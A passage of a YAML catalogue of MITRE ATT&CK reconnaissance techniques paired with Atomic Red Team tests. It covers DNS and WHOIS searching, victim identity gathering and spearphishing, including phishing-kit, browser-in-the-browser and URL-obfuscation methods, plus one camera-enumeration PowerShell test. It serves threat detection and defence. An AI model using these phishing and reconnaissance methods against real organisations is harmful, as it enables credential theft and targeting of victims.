        Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1594:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26
      type: attack-pattern
      created: '2020-10-02T16:51:50.306Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1594
        url: https://attack.mitre.org/techniques/T1594
      - source_name: Comparitech Leak
        url: https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/
        description: Bischoff, P. (2020, October 15). Broadvoice database of more
          than 350 million customer records exposed online. Retrieved October 20,
          2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Search Victim-Owned Websites
      description: |-
        Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

        Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: Monitor for suspicious network traffic that could be indicative
        of adversary reconnaissance, such as rapid successions of requests indicative
        of web crawling and/or large quantities of requests originating from a single
        source (especially if the source is known to be associated with an adversary).
        Analyzing web metadata may also reveal artifacts that can be attributed to
        potentially malicious activity, such as referer or user-agent string HTTP/S
        fields.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1596.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532
      type: attack-pattern
      created: '2020-10-02T16:57:45.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1596.001
        url: https://attack.mitre.org/techniques/T1596/001
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: DNS/Passive DNS
      description: |-
        Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.

        Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1591.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f
      type: attack-pattern
      created: '2020-10-02T16:34:32.435Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1591.003
        url: https://attack.mitre.org/techniques/T1591/003
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Identify Business Tempo
      description: |-
        Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1592.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26
      type: attack-pattern
      created: '2020-10-02T16:40:47.488Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1592.001
        url: https://attack.mitre.org/techniques/T1592/001
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Gather Victim Host Information: Hardware'
      description: |-
        Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1592.001
    atomic_tests:
    - name: Enumerate PlugNPlay Camera
      auto_generated_guid: d430bf85-b656-40e7-b238-42db01df0183
      description: 'Enumerate PlugNPlay Camera using powershell commandlet. this technique
        was seen in dcrat malware backdoor capabilities where it enumerate the camera
        info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor

        '
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: 'Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass
          = ''Image'' OR PNPClass = ''Camera'')"

          '
  T1598.003:
    technique:
      modified: '2024-04-19T13:26:16.082Z'
      name: Spearphishing Link
      description: |-
        Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)

        Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)

        Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)

        Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)

        Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly  to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.

        From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Menachem Goldstein
      - Robert Simmons, @MalwareUtkonos
      - Elpidoforos Maragkos, @emaragkos
      - Joas Antonio dos Santos, @C0d3Cr4zy
      - Austin Herrin
      - Obsidian Security
      - Sam Seabrook, Duke Energy
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230
      created: '2020-10-02T17:09:50.723Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1598/003
        external_id: T1598.003
      - source_name: ACSC Email Spoofing
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
      - source_name: TrendMictro Phishing
        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
          October 20, 2020.
        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
      - source_name: IAPP
        description: IAPP. (n.d.). Retrieved March 5, 2024.
        url: https://iapp.org/resources/article/web-beacon/
      - source_name: QR-campaign-energy-firm
        description: Jonathan Greig. (2023, August 16). Phishing campaign used QR
          codes to target large energy company. Retrieved November 27, 2023.
        url: https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm
      - source_name: PCMag FakeLogin
        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
          Staffers With Fake Login Pages. Retrieved October 20, 2020.
        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
      - source_name: Microsoft Anti Spoofing
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
      - source_name: Mr. D0x BitB 2022
        description: mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack.
          Retrieved March 8, 2023.
        url: https://mrd0x.com/browser-in-the-browser-phishing-attack/
      - source_name: Mandiant URL Obfuscation 2023
        description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation
          Through Schema Abuse. Retrieved August 4, 2023.'
        url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
      - source_name: NIST Web Bug
        description: NIST Information Technology Laboratory. (n.d.). web bug. Retrieved
          March 22, 2023.
        url: https://csrc.nist.gov/glossary/term/web_bug
      - source_name: Proofpoint Human Factor
        description: 'Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber
          attack chain. Retrieved July 20, 2023.'
        url: https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf
      - source_name: Ryte Wiki
        description: Ryte Wiki. (n.d.). Retrieved March 5, 2024.
        url: https://en.ryte.com/wiki/Tracking_Pixel
      - source_name: qr-phish-agriculture
        description: Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams
          & Phishing. Retrieved November 27, 2023.
        url: https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing
      - source_name: ZScaler BitB 2020
        description: ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials.
          Retrieved March 8, 2023.
        url: https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1590.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5
      type: attack-pattern
      created: '2020-10-02T15:49:03.815Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1590.004
        url: https://attack.mitre.org/techniques/T1590/004
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Network Topology
      description: |-
        Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1590.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e
      type: attack-pattern
      created: '2020-10-02T15:47:59.457Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1590.003
        url: https://attack.mitre.org/techniques/T1590/003
      - source_name: Pentesting AD Forests
        url: https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019
        description: García, C. (2019, April 3). Pentesting Active Directory Forests.
          Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Network Trust Dependencies
      description: |-
        Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1597.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41
      type: attack-pattern
      created: '2020-10-02T17:03:45.918Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1597.001
        url: https://attack.mitre.org/techniques/T1597/001
      - source_name: D3Secutrity CTI Feeds
        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
          Intelligence Feeds. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Threat Intel Vendors
      description: |-
        Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)

        Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1589:
    technique:
      modified: '2024-04-19T04:27:00.005Z'
      name: Gather Victim Identity Information
      description: |-
        Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)

        Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4
      created: '2020-10-02T14:54:59.263Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1589
        external_id: T1589
      - source_name: OPM Leak
        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
          Retrieved October 20, 2020.
        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
      - source_name: Detectify Slack Tokens
        description: Detectify. (2016, April 28). Slack bot token leakage exposing
          business critical information. Retrieved October 19, 2020.
        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
      - source_name: GitHub truffleHog
        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
          19, 2020.
        url: https://github.com/dxa4481/truffleHog
      - source_name: GrimBlog UsernameEnum
        description: GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration.
          Retrieved December 9, 2021.
        url: https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
      - source_name: Register Uber
        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
          into court to find who hacked database of 50,000 drivers. Retrieved October
          19, 2020.
        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
      - source_name: GitHub Gitrob
        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
          Source in OSINT. Retrieved October 19, 2020.'
        url: https://github.com/michenriksen/gitrob
      - source_name: CNET Leaks
